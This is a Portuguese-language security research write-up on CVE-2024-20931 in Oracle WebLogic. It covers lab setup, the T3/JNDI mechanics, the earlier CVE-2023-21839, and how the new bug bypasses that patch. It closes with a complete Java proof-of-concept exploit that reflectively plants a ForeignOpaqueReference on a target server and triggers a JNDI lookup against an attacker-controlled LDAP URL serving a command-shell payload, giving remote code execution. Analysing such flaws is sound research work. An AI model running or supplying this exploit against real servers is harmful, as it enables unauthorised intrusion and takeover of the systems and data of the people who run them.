Para reproduzir e analisar a vulnerabilidade, é necessário configurar um laboratório composto pelo sistema operacional Ubuntu 22.04, Oracle WebLogic Server na versão 12.2.1.4.0 e JDK 8. É crucial notar que o WebLogic possui melhor compatibilidade com o JDK da Oracle em detrimento do OpenJDK. Após a instalação do Java, o WebLogic deve ser instalado seguindo o assistente de configuração padrão, definindo credenciais administrativas básicas.
A interação programática com o WebLogic Server geralmente requer a biblioteca wlfullclient.jar. Este arquivo contém as classes necessárias para o cliente se comunicar com o servidor, permitindo acesso a APIs JNDI, JMS e JDBC. Caso este arquivo não esteja presente no diretório server/lib, ele pode ser construído utilizando o módulo com.bea.core.jarbuilder.jar incluído na instalação:
java -jar $MW_HOME/wlserver/modules/com.bea.core.jarbuilder.jar
Para facilitar a análise dinâmica, recomenda-se habilitar a depuração remota (Remote Debug) no servidor WebLogic. Edite o script setDomainEnv.sh e configure as variáveis para abrir a porta 9999:
export debugFlag="true"
export DEBUG_PORT="9999"
O protocolo T3 é o mecanismo proprietário de comunicação do WebLogic, otimizado para operações entre clusters e suporte a RMI (Remote Method Invocation). O servidor utiliza JNDI (Java Naming and Directory Interface) como serviço de nomes. O processo de vinculação remota (Remote Binding) permite que objetos sejam anexados à árvore JNDI via T3, possibilitando que outros clientes localizem e utilizem esses objetos. O fluxo padrão envolve a criação de um InitialContext, a instância do objeto a ser compartilhado e o uso do método rebind para registrá-lo no servidor com um nome específico.
A vulnerabilidade CVE-2023-21839 explorava a classe ForeignOpaqueReference. Ao realizar uma operação de lookup em um objeto dessa classe, o método era invcoado, acionando internamente um context.lookup(). Ao manipular reflexivamente o atributo remoteJNDIName para apontar para um serviço malicioso (como LDAP), atacantes conseguiam Execução Remota de Código (RCE).
A correção para o CVE-2023-21839 impôs restrições rigorosas sobre os atributos jndiEnvironment e remoteJNDIName. No entanto, o CVE-2024-20931 demonstra uma nova superfície de ataque. A exploração ocorre através da configuração da propriedade jndiEnvironment utilizando a classe oracle.jms.AQjmsInitialContextFactory. A fábrica de contexto AQjmsInitialContextFactory tenta inicializar um DataSource durante sua criação. Se definirmos a propriedade datasource com uma URL controlada pelo atacante (por exemplo, uma URL LDAP), a injeção JNDI ocorre no momento da inicialização do contexto, contornando as validações anteriores que focavam apenas no nome JNDI direto.
O seguinte código exemplifica a exploração do CVE-2024-20931, alterando a estrutura e nomes de variáveis em relação ao exemplo orriginal para maior clareza:
package com.security.research;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties;
public class WebLogicExploit {
public static void main(String[] args) throws Exception {
// Configurações de conexão com o servidor WebLogic alvo
Properties connectionProps = new Properties();
connectionProps.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
connectionProps.put(Context.PROVIDER_URL, "t3://192.168.1.105:7001");
Context serverContext = new InitialContext(connectionProps);
// Preparação do ambiente JNDI malicioso
// O objetivo é forçar o AQjmsInitialContextFactory a buscar um DataSource remoto
Hashtable<String, String> maliciousEnv = new Hashtable<>();
maliciousEnv.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
// URL do servidor LDAP malicioso que servirá o payload
String payloadUrl = "ldap://attacker-controlled-ip:1389/Basic/CommandShell";
maliciousEnv.put("datasource", payloadUrl);
// Instanciação e configuração da ForeignOpaqueReference
ForeignOpaqueReference exploitRef = new ForeignOpaqueReference();
// Modificação reflexiva do campo 'jndiEnvironment' para injetar o hashtable malicioso
Field envField = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
envField.setAccessible(true);
envField.set(exploitRef, maliciousEnv);
// Registro do objeto malicioso na árvore JNDI do servidor
String bindName = "custom_exploit_ref";
serverContext.rebind(bindName, exploitRef);
// Trigger da vulnerabilidade: o lookup aciona a inicialização do contexto malicioso
try {
serverContext.lookup(bindName);
} catch (Exception e) {
// Exceções são esperadas durante o disparo do payload
e.printStackTrace();
}
}
}